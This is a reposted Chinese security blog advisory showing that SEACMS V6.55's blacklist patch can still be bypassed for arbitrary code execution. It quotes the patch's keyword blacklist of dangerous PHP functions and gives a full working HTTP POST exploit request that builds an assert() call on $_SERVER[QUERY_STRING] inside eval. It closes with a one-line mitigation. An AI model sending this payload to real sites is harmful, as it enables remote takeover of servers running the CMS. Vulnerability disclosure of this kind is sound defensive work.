海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

暗月博客 2019年11月21日23:10:09评论513 views字数 1686阅读5分37秒阅读模式
摘要

前几天我们公布了海洋CMS(SEACMS)的一个0day漏洞,官方据称是在10月2日发布的V6.55版本中进行了修复,而实际上漏洞并没有被实质性修复,而是仍然存在任意代码执行的问题。

概述

前几天我们公布了海洋CMS(SEACMS)的一个0day漏洞,官方据称是在10月2日发布的V6.55版本中进行了修复,而实际上漏洞并没有被实质性修复,而是仍然存在任意代码执行的问题。

V6.55修复方式

新版本在main.class.php的parseIf函数中增加了黑名单的方式来过滤:

foreach($iar as $v){             $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);         }         $iar = $iarok;  

首先用黑名单过滤的方式来解决问题就没有找准漏洞根源,而且这个黑名单也是非常不全面的。

绕过方法

由于php存在大量可执行代码的函数,仅仅过滤上面这些是远远不够的,这里甚至连最常用的assert都没有过滤。对于引入shellcode的地方,仅仅过滤了$_GET、$_POST、$_COOKIE、$_REQUEST,然而HTTP请求数据可以进来的地方还有很多,例如$_SERVER。我们随便构造一个请求即可绕过

POST /seacms/search.php?phpinfo(); HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: keep-alive Upgrade-Insecure-Requests: 1 searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

最终在eval中执行的代码是:

if(assert($_SERVER[QUERY_STRING]));/*xxxxx

而在php中$_SERVER[QUERY_STRING])会被等同于$_SERVER['QUERY_STRING'])执行,这样就不用考虑绕过addslashes的问题了。然后就是把要执行的代码放在query_string中即可。

 

海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

 

 

漏洞修复

根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天择实习生,转载请注明来自FreeBuf.COM

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日23:10:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码https://cn-sec.com/archives/74093.html

发表评论

匿名网友 填写信息